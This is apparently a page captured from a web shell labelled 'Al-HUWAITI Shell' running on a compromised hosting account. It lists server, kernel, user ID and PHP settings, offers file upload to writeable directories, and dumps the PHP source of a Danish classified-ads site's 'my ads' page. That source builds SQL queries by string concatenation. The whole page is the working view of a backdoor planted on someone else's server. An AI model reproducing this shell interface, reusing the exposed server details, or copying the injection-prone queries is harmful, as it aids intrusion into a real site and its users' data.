Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux nl-srv-web1396.main-hosting.eu 4.18.0-553.83.1.lve.el8.x86_64 #1 SMP Wed Nov 12 10:04:12 UTC 2025 x86_64
User : u107206879 ( 107206879)
PHP Version : 7.2.34
Disable Function : NONE
Directory :  /home/u107206879/domains/annoncelights.dk/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u107206879/domains/annoncelights.dk/public_html/myprofile_ads_tab.php
<div class="vd_info tr pull-right"> 
	<a href="<?php echo SUB_URL; ?>/moread" class="label_status btn vd_btn btn-xs vd_bg-yellow"> 
    	<i class="fa fa-plus append-icon"></i> Opret ny annonce 
   	</a> 
</div>       
<h3><i class="fa fa-users mgr-10 profile-icon"></i>Mine annoncer</h3>
<h5>( Vælg annoncen som " <button class="btn vd_btn btn-xs vd_bg-green" style="color: #fff"> Main </button> " for at kunne redigere den i menuen )</h5>
<!--<h5>( To Buy Premium Plan for Ad Click on " <button class="btn menu-icon vd_bg-slateblue nopadding" style="color: #fff; width: 25px; height: 25px;"><i class="fa fa-cart-plus"></i></button> " )</h5>-->
<div class="mypro_table table-responsive">
	<table class="beta table table-striped table-hover" id="adtbl" style="overflow:auto;" >
	  	<thead>
			<tr>
          	  	<th>ID</th>
				<?php if($detect->isMobile()){ ?>
				<th>Profil Titel</th>
				<?php } ?>
          	  	<th>Status</th>
          	  	<th>Boost</th>
          	  	<th>Repress <!--<a href="#"><i class="fa fa-exclamation-circle" aria-hidden="true"></i></a>-->
</th>
              	<th>Vælg</th>
              	<th>Plan</th>
				<?php if($detect->isMobile()){ ?>
				<?php }else{ ?>
              	<th>Dage tilbage</th>
				<?php } ?>
                <th>Main Profil</th>
				<?php if($detect->isMobile()){ ?>
				<th>Dage tilbage</th>
				<?php }else{ ?>
			  	<th>Profil Titel</th>
				<?php } ?>
			  	<th>Beskeder</th>
                <th>Start Dato</th>               
		  	</tr>
	  	</thead>   
	  	<tbody>
        
  	<?php								
		$ads = "SELECT * from advertise WHERE em_id=".$_SESSION['id']." AND adstatus!=2 and category_id!=5 ORDER BY main_profile DESC, id";
		$ads_gallary = mysqli_query($connection,$ads);
		while($advrow=mysqli_fetch_array($ads_gallary)){
			$msgqry="SELECT count(*) as unread FROM off_messages WHERE receiver_id=".$advrow['id']." AND is_read=0";
			$unread = mysqli_fetch_array(mysqli_query($connection,$msgqry));
			$unread = $unread['unread'];
	?>
			<tr>
				
            	<td class="center" data-label="ID">
            		<a href="<?php echo SUB_URL; ?>/user_detail/<?php echo $advrow["id"]."/".friendly_seo_string($advrow["profile_tile"]);?>" class="search_link" data-placement="top" data-toggle="tooltip" data-original-title="view" target="_blank" title="Se annonce">
                   		<?php echo $advrow['id']; ?>
        			</a>
            	</td>
				<?php if($detect->isMobile()){ ?>
					<td class="center mob_center">
        			<a href="<?php echo SUB_URL; ?>/user_detail/<?php echo $advrow["id"]."/".friendly_seo_string($advrow["profile_tile"]);?>" class="search_link" data-placement="top" data-toggle="tooltip" data-original-title="view" target="_blank" title="Se annonce">
       				<?php echo substr($advrow['profile_tile'],0,50)."..."; ?>
        			</a>
        		</td>
				<?php } ?>
            	
            	<td class="center" data-label="Status">
          	<?php
				if($advrow['isApproved'] == 1){
					if($advrow['adstatus'] == 1){
						$status = 'Aktiv';
						$class = 'label-success';
						$status_tooltip = 'Deaktiver';
					}else {
						$status = 'Inaktiv';
						$class = 'label-danger';
						$status_tooltip = 'Aktivér';
					}
				?>
					<span id="status_change_<?php echo $advrow['id'] ?>" class="status_change label_status label <?php echo $class ?>" data-id="<?php echo $advrow['id'] ?>" data-status-id="<?php echo $advrow['adstatus'] ?>" data-placement="top" data-toggle="tooltip" data-original-title="<?php echo $status_tooltip ?>" title="<?php echo $status_tooltip ?>"><?php echo $status ?></span>
		<?php }else { ?>
					<span class="label_status label label-danger btn_purchase_quick" data-placement="top" data-toggle="tooltip" data-original-title="Afventer betaling" title="Afventer betaling" data-id="<?php echo $advrow['id'] ?>">Afventer betaling</span>
		<?php } ?>
				</td>
				
				<td class="center menu-action rounded-btn mob_right" data-label="Boost" align="right">
					<a id="boost_<?php echo $advrow['id'] ?>" class="boost_ad btn menu-icon vd_bg-slateblue" data-id="<?php echo $advrow['id'] ?>">
                   		<i class="fa fa-rocket" data-placement="top" data-toggle="tooltip" data-original-title="Boost" title="Boost"></i>
                	</a>
				</td>
				
				<td class="center menu-action rounded-btn mob_right" data-label="Repress">
					<a id="repress_<?php echo $advrow['id'] ?>" class="repress_ad btn menu-icon vd_bg-green" data-id="<?php echo $advrow['id'] ?>">
                   		<i class="fa fa-refresh" data-placement="top" data-toggle="tooltip" data-original-title="Repress" title="Repress"></i>
                	</a>
				</td>
				
				<td class="menu-action rounded-btn" data-label="Choice">
					<button type="button" class="btn menu-icon vd_bg-slateblue btn_purchase" data-id="<?php echo $advrow['id'] ?>">
						<i class="fa fa-cart-plus" data-placement="top" data-toggle="tooltip" data-original-title="Opgrader" title="Opgrader"></i>
                	</button>
                	
					<button id='delete_ad_<?php echo $advrow["id"];?>' type="button" class="btn menu-icon vd_bg-red delete_ad" data-id="<?php echo $advrow["id"];?>" data-placement="top" data-toggle="modal" data-target="#confirmModal_<?php echo $advrow["id"];?>">
                   		<i class="fa fa-trash-o" data-placement="top" data-toggle="tooltip" data-original-title="Slet annonce" title="Slet annonce"></i>
                	</button>

					<div class="modal fade" id="confirmModal_<?php echo $advrow["id"];?>" role="dialog">
						<div class="modal-dialog">
							<div class="modal-content modal-col-danger delete_modal">
								<div class="modal-header">
									<div class="icon-box">
										<i class="fa fa-times" aria-hidden="true"></i>
									</div>				
									<h4 class="modal-title">Er du helt sikker?</h4>
								</div>
								<div class="modal-body">
									<p>Vil du virkelig slette denne annonce? <?php if($detect->isMobile()){?><br /> <?php } ?> Dette kan ikke fortrydes!</p>
								</div>
								<div class="modal-footer modal_footer">
									<div class="modal_foot modal_foot_confirm">
										<button type="button" class="col-md-6 col-sm-6 col-xs-6 btn btn-default btn_modal btn-confirm-delete">Slet</button>
									</div>
									<div class="modal_foot modal_foot_close">
										<button type="button" class="col-md-6 col-sm-6 col-xs-6 btn btn-default btn_modal btn-confirm-close" data-dismiss="modal">Behold</button>
									</div>
								</div>
							</div>
						</div>
					</div>
					
					<a href="<?php echo SUB_URL; ?>/editad/<?php echo $advrow["id"];?>" class="btn menu-icon vd_bg-yellow">
                   		<i class="fa fa-pencil" data-placement="top" data-toggle="tooltip" data-original-title="Rediger annonce" title="Rediger annonce"></i>
                	</a>
				</td>
				
                <td class="center" data-label="Plan">
				<?php $boost = (trim($advrow['boost'])=="1") ? "/BOOST" : "";?>
				<b>
            	<?php 
            		if($advrow['plan_id']==1){
						echo "BRONZE".$boost;
					}elseif($advrow['plan_id']==2){
						echo "SØLV".$boost;
					}elseif($advrow['plan_id']==3){
						echo "GOLD".$boost;
					}else{
						echo "GRATIS".$boost;
					}
            	?>	
            		</b>
            	</td>
            	<?php
            		if($advrow['plan_id']!=0){
						$datetime1 = new DateTime();
						$datetime2 = new DateTime($advrow['end_date']);
						$interval = $datetime1->diff($datetime2);
						$elapsed = $interval->format('%r%a Dage');
					}else{
						$elapsed = 'Ubegrænset';
					}
            	?>
				<!-- Boost days calculation -->
				<?php if(trim($advrow['boost'])=="1"){
						$boost_abc1 = new DateTime();
						$boost_abc2 = new DateTime($advrow['boost_end_date']);
						$boost_interval = $boost_abc1->diff($boost_abc2);
						$boost_elapsed = $boost_interval->format('%r%a Dage');
					}
            	?>
				
					<?php if($detect->isMobile()){ ?>
				<?php }else{ ?>
				<td class="center" data-label="Dage tilbage"><a class="label_status btn vd_btn btn-xs vd_bg-slateblue" data-placement="top" data-toggle="tooltip" data-original-title="daysleft" title="Dage tilbage"> <?php echo $elapsed ?><?php if(trim($advrow['boost'])=="1"){?>/<?php echo $boost_elapsed ?><?php } ?></a></td>
				<?php } ?>
            	<td class="center" data-label="Main Profil">
			<?php	
				if($advrow["main_profile"] == 1){
			?>
            		<a href="#" class="label_status btn vd_btn btn-xs vd_bg-green disabled" data-placement="top" data-toggle="tooltip" data-original-title="main"> Main </a>
           	<?php
                }else{
			?>
                	<a href="mainprofile.php?profile_id=<?php echo $advrow["id"];?>" class="label_status btn vd_btn btn-xs vd_bg-green" data-placement="top" data-toggle="tooltip" data-original-title="main" title="Sæt som hovedprofil"> Main </a>
           	<?php
                }
			?>
                </td>     
				
				<?php if($detect->isMobile()){ ?>
					<td class="center" data-label="Dage tilbage"><a class="label_status btn vd_btn btn-xs vd_bg-slateblue" data-placement="top" data-toggle="tooltip" data-original-title="daysleft" title="Dage tilbage"> <?php echo $elapsed ?> </a></td>
				<?php }else{ ?>
				<td class="center">
        			<a href="<?php echo SUB_URL; ?>/user_detail/<?php echo $advrow["id"]."/".friendly_seo_string($advrow["profile_tile"]);?>" class="search_link" data-placement="top" data-toggle="tooltip" data-original-title="view" target="_blank" title="Se annonce">
       				<?php echo substr($advrow['profile_tile'],0,50)."..."; ?>
        			</a>
        		</td>
				<?php } ?>
        		
				<td class="text-center mob_right" data-label="Beskeder"><b><?php echo $unread; ?></b></td>
				
            	<td class="center" data-label="Start Dato"><?php echo date("d-m-Y",strtotime($advrow['start_date'])); ?></td>
			</tr>	
  	<?php
		}
	?>                           
	  	</tbody>
	</table>
</div>
<div class="clearfix"></div>

Al-HUWAITI Shell